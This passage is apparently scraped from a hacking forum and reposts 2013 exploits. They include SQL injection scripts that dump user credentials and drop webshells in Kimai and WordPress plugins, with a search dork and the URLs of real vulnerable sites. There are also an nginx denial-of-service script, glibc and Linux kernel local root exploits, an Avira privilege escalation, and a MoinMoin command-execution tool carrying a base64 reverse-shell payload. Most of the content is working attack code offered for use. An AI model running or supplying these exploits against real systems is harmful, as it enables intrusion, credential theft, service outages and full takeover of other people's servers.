  url = url + "/index.php?module="
 
database = []
options = {'Version':'VERSION', 'User':'CURRENT_USER', 'Database':'DATABASE'}
sys.stdout.write("[+] Checking target... (please wait)...")
for element in options:
  sys.stdout.write("\n  [!] Database "+element+"  : ")
  for letter in range(1, num_of_ltr):
    for i in range(min, max):
      query = "-1%00' OR ORD(MID(("+options[element]+"()),"+str(letter)+",1))>"+str(i)+"#"
      target = url + query
      result = urllib.urlopen(target).read()
      if result.find(true) != -1:
  if options[element] == "DATABASE":
    database.append(chr(i))
  sys.stdout.write(GREEN+chr(i)+RESET)
  sys.stdout.flush()
  break
  time.sleep(1)
database = [i for i in database if i != ' ']
database = ''.join(database)
hexdatabase = database.encode("hex")
 
prefix = []
sys.stdout.write("\n[+] Checking for (random) Table Prefix... (please wait)... ")
sys.stdout.write("\n  [!] Table Prefix (for '"+GREEN+database+RESET+"' database) : ")
for letter in range(1, num_of_ltr):
  for letter2 in range(1, 7):
    for i in range(min, max):
      query = "-1%00' OR ORD(MID((SELECT CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x"+hexdatabase+" LIMIT "+str(letter)+",1),"+str(letter2)+",1))>"+str(i)+"#"
      target = url + query
      result = urllib.urlopen(target).read()
      if result.find(true) != -1:
  prefix.append(chr(i))
  sys.stdout.write(GREEN+chr(i)+RESET)
  sys.stdout.flush()
  break
  time.sleep(1)
  break
prefix = [i for i in prefix if i != ' ']
prefix = ''.join(prefix)
 
columns = {'Password':'password','Email':'email','Username':'user_name','Salt':'salt'}
sys.stdout.write("\n[+] Dumping '"+GREEN+prefix+"users"+RESET+"' table... (please wait)...")
for element in columns:
    sys.stdout.write("\n  [!] Column : "+element+"  : ")
    for letter in range(1, num_of_ltr):
      for i in range(min, max):
  query = "-1%00' OR ORD(MID((SELECT CONCAT("+columns[element]+") FROM "+database+"."+prefix+"users ORDER BY Id LIMIT 0,1),"+str(letter)+",1))>"+str(i)+"#"
  target = url + query
  result = urllib.urlopen(target).read()
  if result.find(true) != -1:
    sys.stdout.write(GREEN+chr(i)+RESET)
    sys.stdout.flush()
    break
    time.sleep(1)
 
sys.stdout.write("\n[+] End of POC...\n")
#eof
Kimai 0.9.2.1306-3 SQL Injection
ID: 67686ba3b4103b69df379d77
Thread ID: 24212
Created: 2013-05-23T06:54:09+0000
Last Post: 2013-05-23T06:54:09+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Exploit Title: Kimai 0.9.2.1306-3 SQLi

Date: 05/20/2013

Exploit Author: drone (@dronesec)

Vendor Homepage: http://www.kimai.org/

Software Link:

https://downloads.sourceforge.net/project/k....9.2.1306-3.zip

Version: 0.9.2.1306-3

Fixed in: source repositories (https://github.com/kimai/kimai)

Tested on: Windows XP SP3, Ubuntu 12.04 (apparmor disabled)

"""
This doesn't even require authentication to the
web app, as the file is accessible to any user.

Modify paths accordingly if running against Windows

@dronesec
"""
from argparse import ArgumentParser
import string
import random
import urllib2
import sys
import re

def webshell(options, id):
""" dat webshell
"""
shell = ''.join(random.choice(string.ascii_lowercase+string.digits) for x in range(5))
sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'
'%20SELECT%20''%20FROM%20kimai_usr'
'%20INTO%20OUTFILE%20'{2}/{3}.php';--%20&submit=recover')

urllib2.urlopen(sqli.format(options.ip, id, options.path, shell))
print '[!] Shell dropped. Go hit http://%s/kimai/%s.php?rr=ls'%(options.ip, shell)

def fetch_id(options):
id = None
try:
page = urllib2.urlopen('http://%s/kimai/db_restore.php'%options.ip).read()
id = re.findall('name="dates\[\]" value="(.*?)">', page)[0]
except: pass
return id

def run(options):

poll URL for valid backup id

id = None
while id is None:
id = fetch_id(options)
if id is None:
print '[ - ] No backups found, creating one...'

urllib2.urlopen('http://%s/kimai/db_restore.php?submit=create+backup'%options.ip)

print '[!] Using backup id', id

if options.shell:
return webshell(options, id)

print '[!] Running queries...'

execute sqli

sqli = ('http://{0}/kimai/db_restore.php?dates%5B%5D={1}_kimai_var%20UNION'

'%20SELECT%20{3}%20FROM%20kimai_usr%20INTO%20OUTFILE%20'{2}/{3}';--%20&submit=recover')

urllib2.urlopen(sqli.format(options.ip, id, options.path, 'usr_name'))

execute sqli; hashes

urllib2.urlopen(sqli.format(options.ip, id, options.path, 'pw'))

get sessions

urllib2.urlopen(sqli.format(options.ip, id, options.path, 'secure'))

print '[!] Go grab your files:\n\t{0}/usr_names\n\t{0}/pw\n\t{0}/secure'\
.format(options.path)

def parse():
parser = ArgumentParser()
parser.add_argument('-i', help='server address', action='store', dest='ip')
parser.add_argument('-p', help='path to dump files (otherwise guesses /var/www/kimai)',
action='store',default='/var/www/kimai', dest='path')
parser.add_argument('-w', help='web shell', action='store_true', dest='shell')

options = parser.parse_args()

if not options.ip:
parser.print_help()
sys.exit(1)

options.path = options.path if options.path[-1] != '/' else options.path[:-1]
return options

if name == "main":
run(parse())

Click to expand...

Wordpress Flagallery-Skins SQL Injection
ID: 67686ba3b4103b69df379d78
Thread ID: 24211
Created: 2013-05-23T06:53:19+0000
Last Post: 2013-05-23T06:53:19+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

##############

Exploit Title : Wordpress Flagallery-skins plugin SQL Injection

Exploit Author : Ashiyane Digital Security Team

Home : www.ashiyane.org

Security Risk : Medium

Dork : inurl:/wp-content/plugins/flagallery-

skins/compact_music_player/gallery.php?playlist=

Tested on: Linux

##############
#Location:site/wp-content/plugins/flagallery- skins/compact_music_player/gallery.php?playlist=[SQL]

#DEm0:

[http://www.argomentitessili.com/wp-content...=my-

playlist%27](http://www.argomentitessili.com/wp-content/plugins/flagallery- skins/compact_music_player/gallery.php?playlist=my-playlist%27)

[http://kiwirootsmusic.com/wp-

content/plugi...t=recordings%27](http://kiwirootsmusic.com/wp- content/plugins/flagallery- skins/compact_music_player/gallery.php?playlist=recordings%27)

[http://www.buritacaworldbeat.com/wp-

conten...st=burisongs%27](http://www.buritacaworldbeat.com/wp- content/plugins/flagallery- skins/compact_music_player/gallery.php?playlist=burisongs%27)

[http://www.unclebobsrockshop.com/wp-

conten...aylist=songs%27](http://www.unclebobsrockshop.com/wp- content/plugins/flagallery- skins/compact_music_player/gallery.php?playlist=songs%27)

[http://headingtoawedding.ca/wp-

content/plu...ist=homepage%27](http://headingtoawedding.ca/wp- content/plugins/flagallery- skins/compact_music_player/gallery.php?playlist=homepage%27)

##############
#Greetz to: My Lord ALLAH
##############

Amirh03in

##############

Click to expand...

nginx 1.3.9-1.4.0 DoS PoC
ID: 67686ba3b4103b69df379d79
Thread ID: 24203
Created: 2013-05-21T06:36:04+0000
Last Post: 2013-05-21T06:36:04+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

Code:Copy to clipboard

# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070)
# Google Dork: CVE-2013-2070
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & nginx v1.4.0
# CVE : CVE-2013-2070
  
import httplib
import time
import socket
import sys
import os
  
# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)
  
packet = 0
  
def chunk(data, chunk_size):
    chunked = ""
    chunked += "%s\r\n" % (chunk_size)
    chunked += "%s\r\n" % (data)
    chunked += "0\r\n\r\n"
    return chunked
  
if sys.platform == 'linux-i386' or sys.platform == 'linux2':
        os.system("clear")
elif sys.platform == 'win32':
        os.system("cls")
else:
        os.system("cls")
                  
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2070) [http://www.mertsarica.com]"
print "======================================================================"
  
if len(sys.argv) < 2:
        print "Usage: python nginx_dos.py [target ip]\n"
        print "Example: python nginx_dos.py 127.0.0.1\n"
        sys.exit(1)
else:
    host = sys.argv[1].lower()
          
while packet <= 5:
  
    body = "Mert SARICA"
    chunk_size = hex(dos_packet + 1)[3:]
    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()
  
    if debug:
        print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]
  
    try:
        con = httplib.HTTPConnection(host)
        url = "/mertsarica.php"
        con.putrequest('POST', url)
        con.putheader('User-Agent', "curl/7.30.0")
        con.putheader('Accept', "*/*")
        con.putheader('Transfer-Encoding', 'chunked')
        con.putheader('Content-Type', "application/x-www-form-urlencoded")
        con.endheaders()
        con.send(chunk(body, chunk_size[:len(chunk_size)]))
    except:
        print "Connection error!"
        sys.exit(1)
          
    try:
        resp = con.getresponse()
        print(resp.status, resp.reason)
    except:
        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/5)"
  
    packet = packet + 1
      
    con.close()
  
print "[+] Done!"
Wordpress hd-player 0day Exploit
ID: 67686ba3b4103b69df379d7a
Thread ID: 24202
Created: 2013-05-21T06:31:50+0000
Last Post: 2013-05-21T06:31:50+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

#1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
#0     _                   __           __       __                     1
#1   /' \            __  /'__`\        /\ \__  /'__`\                   0
#0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
#1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
#0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
#1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
#0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
#1                  \ \____/ >> Exploit database separated by exploit   0
#0                   \/___/          type (local, remote, DoS, etc.)    1
#1                                                                      1
#0  [+] Site            : 1337day.com                                   0
#1  [+] Support e-mail  : submit[at]1337day.com                         1
#0                                                                      0
#1               #########################################              1
#0               I'm Caddy-dz member from Inj3ct0r Team                 1
#1               #########################################              0
#0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
   
####
 
# Exploit Title: Wordpress hd-player 0day Exploit
 
# Author: Caddy-Dz
 
# Facebook Page: http://www.facebook.com/Algerian.Cyber.Army
 
# E-mail: islam_babia@hotmail.com 
 
# Download : http://www.mediafire.com/?62orbd63loc6us0
 
# Category:: webapps
 
# Google Dork: inurl:"/wp-content/plugins/ripe-hd-player
 
# Security Risk: High
 
# Tested on: Ubuntu
 
####
 
#
 
# Greets : 1337day Team , Exploit-ID Team , Algerian Cyber Army Team , KedAns-Dz , Kalashincov3 , The Unknown , Fawzi Cold-Fire 
 
# .. The Crazy 3D Team , Kha&mix , King Of Pirates , xDZx-Team ... and all algerian hackers .
 
#
 
# this was written for educational purpose only. use it at your own risk.
 
# author will be not responsible for any damage caused! user assumes all responsibility 
 
# intended for authorized web application pentesting only!
 
 
 
 
 
#####################################################################################################
 
# >>> sqli vulnerability discovered in the same plugin and posted; http://1337day.com/exploit/20199
 
# this exploit was written to develope this vulnerability to get full access of the wordpress script 
 
# and bypassing the hash password into a constant password = caddy
 
#####################################################################################################
 
 
 
use IO::Socket;
 
use LWP::Simple;
 
use LWP::UserAgent;
 
 
 
system('cls');
 
system('color a');
 
   
 
   
 
if(@ARGV < 2)
 
{
 
print "[-]How To Use\n\n";
 
&help; exit();
 
}
 
sub help()
 
{
 
print "[+] usage1 : perl $0 site.com / \n";
 
print "[+] usage2 : perl $0 site.com /path/ \n";
 
print "[+] Note ! : do not use (http://) and leave space between the host and (/) \n or the path like the exemple";
 
}
 
   
 
print  "\n****************************************************\n";
 
print  "\n*                coded by Caddy-Dz                 *\n";
 
print  "\n*        email: islam_babia[at]hotmail.com         *\n";
 
print  "\n* Fb Page: http://facebook.com/Algerian.Cyber.Army *\n";
 
print  "\*****************************************************\n";
 
($Target, $path,$file_vuln, $sql_query,) = @ARGV;
 
  
 
my $file_vuln = "/wp-content/plugins/ripe-hd-player/config.php?id=-3";
my $sql_query = '+/**/UNION/**/+/**/SELECT/**/+1,2,concat(0x23,user_login,0x3a,user_pass,0x23),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+wp_users--'; 
my $url = "http://" . $Target . $path . $file_vuln . $sql_query;
print "\n wait!!! \n\n";
 
   
 
my $request   = HTTP::Request->new(GET=>$url);
my $useragent = LWP::UserAgent->new();
$useragent->timeout(10);
 
my $response  = $useragent->request($request);
my ($username,$password);
if ($response->is_success) {
 
my $res   = $response->content;
if ($res =~ m/[#](.*):(.*)[#]/g) {
 
($username,$password) = ($1,$2);
 
print "[+] username and password :\n\n$username:$password \n\n";
 
}
 
else { print "[-] Error, Fail to get admin login.\n\n"; }
 
}
 
else { print "[-] Error, ".$response->status_line."\n\n"; 
 
}
 
 
 
 
 
my $activation = 'http://' . $Target . $path . 'wp-login.php?action=lostpassword';
sub post_url {
 
my( $activation, $formref ) = @_;
 
my $ua = new LWP::UserAgent(timeout => 300);
$ua->agent('perlproc/1.0');
my $get = $ua->post($activation, $formref );
}
 
my %param = ( 'user_login' => $username , 'wp-submit' => 'Get New Password' ); # you must change the parametre "Get New Password" if you're using other wordpress language version 
 
print post_url( $activation, \%param );
 
 
my $sql_activation = "http://" . $Target . $path . "wp-content/plugins/ripe-hd-player/config.php?id=-3+/**/UNION/**/+/**/SELECT/**/+1,2,concat(0x23,user_activation_key,0x23),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+wp_users--";
my $request3   = HTTP::Request->new(GET=>$sql_activation);
 
my $useragent = LWP::UserAgent->new();
 
$useragent->timeout(10);
 
my $response2  = $useragent->request($request3);
my ($key);
if ($response2->is_success) {
 
my $res2   = $response2->content;
 
if ($res2 =~ m/[#](.*)[#]/g) {
 
($key) = ($1);
 
print "[+] user activation key : \n\n$key \n\n";
 
}
 
else { print "[-] Error, Fail to get user key.\n\n"; }
 
}
 
else { print "[-] Error, ".$response->status_line."\n\n";
 
}
 
 
my $link2 = "http://" . $Target . $path . "wp-login.php?action=rp&key=" . $key . "&login=" .$username;
use strict;
 
sub post_url {
 
my( $link2, $formref ) = @_;
 
my $ua2 = new LWP::UserAgent(timeout => 300);
 
 
 
$ua2->agent('perlproc/1.0');
 
 
 
my $get2 = $ua2->post($link2, $formref );
 
 
 
if( $get2->is_success ){
 
print "\nPassword bypassed and changed to => caddy \n";
 
} else {
 
print status_line;
 
 
 
}
 
}
my %param = ( 'pass1' => 'caddy', 'pass2' => 'caddy', 'wp-submit' => 'Reset Password' ); # you must change the parametre "Reset Password" if you're using other wordpress language version 
 
print post_url( $link2, \%param );
Glibc 2.11.3 / 2.12.x LD_AUDIT
ID: 67686ba3b4103b69df379d7b
Thread ID: 24201
Created: 2013-05-21T06:29:52+0000
Last Post: 2013-05-21T06:29:52+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

#!/bin/sh

[ + ] Glibc <= 2.12.x, 2.11.3, 2.12.2 LD_AUDIT libmemusage.so local root

exploit

Edited by Todor Donev (todor dot donev at gmail dot com)

This is another exploit for CVE-2010-3856

Thanks to Tavis 'taviso' Ormandy, zx2c4, Marco 'raptor' Ivaldi, Stiliyan

Angelov

and Tsvetelina Emirska

Another exploits:

http://www.0xdeadbeef.info/exploits/raptor_ldaudit

http://www.0xdeadbeef.info/exploits/raptor_ldaudit2

http://www.exploit-db.com/exploits/18105/

http://seclists.org/fulldisclosure/2010/Oct/257

http://seclists.org/bugtraq/2010/Oct/200

echo "[ + ] Setting umask to 0 so we have world writable files."
umask 0
echo "[ + ] Preparing binary payload.."
cat > /tmp/payload.c <<_EOF
void attribute((constructor)) init()
{
unlink("/lib/sploit.so");
setuid(0);
setgid(0);
setenv("HISTFILE", "/dev/null", 1);
execl("/bin/sh", "/bin/sh", "-i", 0);
}
_EOF
gcc -w -fPIC -shared -o /tmp/exploit /tmp/payload.c
echo "[ + ] Writing root owned world readable file in /lib"
LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="/lib/sploit.so" ping 2>/dev/null
echo "[ + ] Filling the lib file with lib contents."
cat /tmp/exploit > /lib/sploit.so
rm /tmp/payload.c /tmp/exploit
echo "[ + ] Executing payload.."
LD_AUDIT="sploit.so" ping

681ABD2F5370725E 1337day.com [2013-05-21] 04FBC9E5CCD44777

Click to expand...

Linux PERF_EVENTS Local Root Exploit
ID: 67686ba3b4103b69df379d7c
Thread ID: 24180
Created: 2013-05-14T07:25:17+0000
Last Post: 2013-05-20T13:18:10+0000
Author: DarckSol
Prefix: Local
Replies: 2 Views: 1K

Code:Copy to clipboard

/*
 * linux 2.6.37-3.x.x x86_64, ~100 LOC
 * gcc-4.6 -O2 semtex.c && ./a.out
 * 2010 sd@fucksheep.org, salut!
 *
 * update may 2013:
 * seems like centos 2.6.32 backported the perf bug, lol.
 * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
 */
 
#define _GNU_SOURCE 1
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
 
#define BASE  0x380000000
#define SIZE  0x010000000
#define KSIZE  0x2000000
#define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
 
void fuck() {
  int i,j,k;
  uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
  uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
  uint64_t kbase = ((uint64_t)current)>>36;
  uint32_t *fixptr = (void*) AB(1);
  *fixptr = -1;
 
  for (i=0; i<4000; i+=4) {
    uint64_t *p = (void *)&current[i];
    uint32_t *t = (void*) p[0];
    if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
    for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
      if (((uint32_t*)uids)[k] != t[j+k]) goto next;
      for (i = 0; i < 8; i++) t[j+i] = 0;
      for (i = 0; i < 10; i++) t[j+9+i] = -1;
      return;
next:;    }
  }
}
 
void sheep(uint32_t off) {
  uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
  int fd = syscall(298, buf, 0, -1, -1, 0);
  assert(!close(fd));
}
 
 
int  main() {
  uint64_t  u,g,needle, kbase, *p; uint8_t *code;
  uint32_t *map, j = 5;
  int i;
  struct {
    uint16_t limit;
    uint64_t addr;
  } __attribute__((packed)) idt;
  assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
  memset(map, 0, SIZE);
  sheep(-1); sheep(-2);
  for (i = 0; i < SIZE/4; i++) if (map[i]) {
    assert(map[i+1]);
    break;
  }
  assert(i<SIZE/4);
  asm ("sidt %0" : "=m" (idt));
  kbase = idt.addr & 0xff000000;
  u = getuid(); g = getgid();
  assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
  memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
  memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
    printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
  setresuid(u,u,u); setresgid(g,g,g);
  while (j--) {
    needle = AB(j+1);
    assert(p = memmem(code, 1024, &needle, 8));
    if (!p) continue;
    *p = j?((g<<32)|u):(idt.addr + 0x48);
  }
  sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
  asm("int $0x4");  assert(!setuid(0));
  return execl("/bin/bash", "-sh", NULL);
}
 
# 7C0C28EE52640BB8   1337day.com [2013-05-14]   8E65B37C30CE428C #
Avira Personal Privilege Escalation Vulnerability
ID: 67686ba3b4103b69df379d7d
Thread ID: 24187
Created: 2013-05-15T11:08:16+0000
Last Post: 2013-05-15T11:08:16+0000
Author: DarckSol
Prefix: Local
Replies: 0 Views: 1K

============================================
Tested on OS:
Microsoft Windows XP Professional 5.1.2600 Service Pack 2 2600

Vulnerable Software: Avira Personal
Tested version of Avira:

Product version 10.2.0.719 25.10.2012
Search engine 8.02.12.38 07.05.2013
Virus definition file 7.11.77.54 08.05.2013
Control Center 10.00.12.31 21.07.2011
Config Center 10.00.13.20 21.07.2011
Luke Filewalker 10.03.00.07 21.07.2011
AntiVir Guard 10.00.01.59 21.07.2011
Filter 10.00.26.09 21.07.2011
AntiVir WebGuard 10.01.09.00 09.05.2011
Scheduler 10.00.00.21 21.04.2011
Updater 10.00.00.39 21.07.2011

Vulnerability: Privilegie Escalation

Proof Of concept:
If the attacker somehow manages upload any malicious files to root directory of OS installed disk (%homedrive%) in the following manner:
C:\Program.exe
(In example attacker is limited to execute any file from webserver but is able upload any file to %homedrive%\ )

On next reboot this can be used to escalate privileges to NT_AUTHORITY/SYSTEM due vulnerability in Avira Personal(if that machine uses Avira Personal).

The main trouble begins from here:

[http://msdn.microsoft.com/en- us/library/wi...v=vs.85%29.aspx](http://msdn.microsoft.com/en- us/library/windows/desktop/ms682425%28v=vs.85%29.aspx)

Parameters

lpApplicationName [in, optional]

c:\program.exe files\sub dir\program name
c:\program files\sub.exe dir\program name
c:\program files\sub dir\program.exe name
c:\program files\sub dir\program name.exe

============================================

For this purposes i have used the following AutoIT script (then compiled it to 32 bit win32 binary)

While 1
sleep(18000);//sleep for 18 seconds for fun
MsgBox(64,"","Blah!" & @CRLF & "Woot: We got=> " & @UserName);//display the current user
ShellExecute("cmd.exe");//launch cmd.exe
;Enjoy
WEnd

and uploaded it as Program.exe to C:\

Then simply rebooted machine.

Here is result on next reboot:

See escal1.PNG
http://i052.radikal.ru/1305/69/7bb1ce0323ec.png

http://s56.radikal.ru/i152/1305/03/10bc43883c89.png

In eg: this vuln can be used in the following situations:

[http://packetstormsecurity.com/files/12116...-Traversal.html](http://packetstormsecurity.com/files/121168/MiniWeb- File-Upload-Directory-Traversal.html)

Attacker is able to upload arbitrary files to system but he/she is unable to execute it.
ON next reboot attacker can escalate privileges to SYSTEM privilegie due vulnerability in Avira Personal.

This is also possible disable Realtime protection(Guard) of Avira personal in the following way on next reboot:

=========================Compile as program.exe and place to %homedrive%====================
While 1
sleep(3600*1000);
WEnd
====Start your another troyan downloader and download/execute known malware to Avira==========

98CC4E5E757987B4 1337day.com [2013-05-15] 45058B9096F3ABCA

Click to expand...

MoinMelt Arbitrary Command Execution Exploit
ID: 67686ba3b4103b69df379d7e
Thread ID: 24184
Created: 2013-05-15T08:33:06+0000
Last Post: 2013-05-15T08:33:06+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
ascii = '\x1b[1;31m'###########################################################################
ascii +='                                                                                \r\n'#
ascii +=' ██████████    ██████   ███  ███  ███    ██████████   ████████  ███     ███████ \r\n'#
ascii +=' ███████████  ████████  ███  ████ ███    ███████████  ████████  ███     ███████ \r\n'#
ascii +=' ██▒ ██▒ ██▒  ██▒  ███  ██▒  ██▒█▒███    ██▒ ██▒ ██▒  ██▒       ██▒       ██▒   \r\n'#
ascii +=' ▒█▒ ▒█▒ ▒█▒  ▒█▒  █▒█  ▒█▒  ▒█▒▒█▒█▒    ▒█▒ ▒█▒ ▒█▒  ▒█▒       ▒█▒       ▒█▒   \r\n'#
ascii +=' █▒▒ ▒▒█ █▒█  █▒█  ▒█▒  ▒▒█  █▒█ ▒▒█▒    █▒▒ ▒▒█ █▒█  █▒▒▒░▒    █▒▒       █▒▒   \r\n'#
ascii +=' ▒█▒   ▒ ▒█▒  ▒█▒  ▒▒▒  ▒▒▒  ▒█▒  ▒▒▒    ▒█▒   ▒ ▒█▒  ▒▒▒▒▒░    ▒▒▒       ▒▒▒   \r\n'#
ascii +=' ▒▒░     ▒▒░  ▒▒░  ▒▒▒  ▒▒░  ▒▒░  ▒▒▒    ▒▒░     ▒▒░  ▒▒░       ▒▒░       ▒▒░   \r\n'#
ascii +=' ░▒░     ░▒░  ░▒░  ▒░▒  ░▒░  ░▒░  ▒░▒    ░▒░     ░▒░  ░▒░        ░▒░      ░▒░   \r\n'#
ascii +=' ░░░     ░░   ░░░░░ ░░   ░░   ░░   ░░    ░░░     ░░    ░░ ░░░░   ░░ ░░░░   ░░   \r\n'#
ascii +='  ░      ░     ░ ░  ░   ░    ░░    ░      ░      ░    ░ ░░ ░░   ░ ░░ ░ ░   ░    \r\n'#
ascii +='                                                                                \r\n'#
ascii +='        ~[  PoC v2 : Remote arbitrary command execution for MoinMoin  ]~        \r\n'#
ascii +='\x1b[0m'##############################################################################
 
# V1: Stealth webshell, available upon Apache restart (24H)
# V2: Update stealth webshell, backconnect shell, available immediately (RISKY); Login functionality
# ToDo: Handle TextCha's, spoof UA
#
# Usage:     python moinmelt.py
# Requires: `requests` module, socat
#
# cr3dz: [HTP], Unnamed
 
import requests, re, getpass, random
 
print ascii
print "[*] Now with", random.choice(["hookers",
                                     "SYN floods",
                                     "integrated LOIC",
                                     "a bullshit Reason Generator",
                                     "UDP floods",
                                     "an admin informer",
                                     "a backdoor",
                                     "automatic defacing",
                                     "Full Disclosure letters",
                                     "advertisements",
                                     "an End-User License Agreement",
                                     "a 30-day Trial",
                                     "a free AOL subscription",
                                     "more educational value",
                                     "famewhoring",
                                     "Havij support",
                                     "advice from Sabu",
                                     "incomprehensible commentary",
                                     "hacker apparel",
                                     "advice from Kevin Mitnick",
                                     "a Unity applet",
                                     "JUSTICE",
                                     "FreeNode support",
                                     "advice from Chippy1337"]) + "!"
 
target = raw_input("[*] Target site? ").replace("http://","").replace("FrontPage","").replace("WikiSandBox","")
print "[*] Method of execution:"
print "[1] Stealth webshell, available upon Apache restart (24H)"
print "[2] Backconnect shell, available immediately (RISKY)"
print "[3] Exit"
method = raw_input("> ")
 
if method=='3':
    exit()
elif method=='2':
    print "[*] Preparing exploit.."
    filename = 'drawing.r if()else[]\nexec eval("open(__file__)\\56read()\\56split(\'[MARK]\')[-2]\\56strip(\'\\\\0\')")'
    data = """IyAtKi0gY29kaW5nOiBpc28tODg1OS0xIC0qLQoKaW1wb3J0IHN5cywgb3MsIHNvY2tldCwgcHR5
              LCBzZWxlY3QKcHdkID0gb3MucGF0aC5kaXJuYW1lKF9fZmlsZV9fKQpzeXMucGF0aC5pbnNlcnQo
              MCwgcHdkKQoKZGVmIG1vaW5tZWx0c2hlbGwoaG9zdCxwb3J0KToKICAgIHNvY2sgPSBzb2NrZXQu
              c29ja2V0KCkKICAgIHRyeToKICAgICAgICBzb2NrLmNvbm5lY3QoKGhvc3QsIGludChwb3J0KSkp
              CiAgICBleGNlcHQ6CiAgICAgICAgcmV0dXJuCiAgICBwaWQsIGNoaWxkUHJvY2VzcyA9IHB0eS5m
              b3JrKCkKICAgIGlmIHBpZCA9PSAwOgogICAgICAgIHNvY2suc2VuZCgiW35dIFx4MWJbMTszMW1N
              b2luTWVsdCBSZXZlcnNlIFNoZWxsXHgxYlswbVxyXG4iKQogICAgICAgIG9zLnB1dGVudigiSElT
              VEZJTEUiLCIvZGV2L251bGwiKQogICAgICAgIG9zLnB1dGVudigiUFdEIiwgcHdkKQogICAgICAg
              IG9zLnB1dGVudigiSE9NRSIsIG9zLmdldGN3ZCgpKQogICAgICAgIG9zLnB1dGVudigiUEFUSCIs
              Jy91c3IvbG9jYWwvc2JpbjovdXNyL3NiaW46L3NiaW46Jytvcy5nZXRlbnYoJ1BBVEgnKSkKICAg
              ICAgICBvcy5wdXRlbnYoIlRFUk0iLCdsaW51eCcpCiAgICAgICAgb3MucHV0ZW52KCJQUzEiLCdc
              eDFiWzE7MzFtXFx1QFxcaDpcXHdcXCQgXHgxYlswbScpCiAgICAgICAgcHR5LnNwYXduKCIvYmlu
              L2Jhc2giKQogICAgICAgIHNvY2suc2VuZCgiXHJcbiIpCiAgICAgICAgc29jay5zaHV0ZG93bigx
              KQogICAgZWxzZToKICAgICAgICBiID0gc29jay5tYWtlZmlsZShvcy5PX1JET05MWXxvcy5PX05P
              TkJMT0NLKQogICAgICAgIGMgPSBvcy5mZG9wZW4oY2hpbGRQcm9jZXNzLCdyKycpCiAgICAgICAg
              eSA9IHtiOmMsYzpifQogICAgICAgIHRyeToKICAgICAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAg
              ICAgICAgICAgIGZvciBuIGluIHNlbGVjdC5zZWxlY3QoW2IsY10sW10sW10pWzBdOgogICAgICAg
              ICAgICAgICAgICAgIHogPSBvcy5yZWFkKG4uZmlsZW5vKCksNDA5NikKICAgICAgICAgICAgICAg
              ICAgICB5W25dLndyaXRlKHopCiAgICAgICAgICAgICAgICAgICAgeVtuXS5mbHVzaCgpCiAgICAg
              ICAgZXhjZXB0OgogICAgICAgICAgICBwYXNzCgp0cnk6CiAgICBwaWQgPSBvcy5mb3JrKCkKICAg
              IGlmIG5vdCBwaWQ6IG1vaW5tZWx0c2hlbGwoJ1tJUF0nLCAnW1BPUlRdJykKZXhjZXB0OgogICAg
              cGFzcyAjIEF2b2lkIGludGVybmFsIHNlcnZlciBlcnJvcnMKCmZyb20gTW9pbk1vaW4ud2ViLnNl
              cnZpbmcgaW1wb3J0IG1ha2VfYXBwbGljYXRpb24KYXBwbGljYXRpb24gPSBtYWtlX2FwcGxpY2F0
              aW9uKHNoYXJlZD1UcnVlKQ==""".strip().decode("base64")
elif method=='1':
    print "[*] Preparing exploit.."
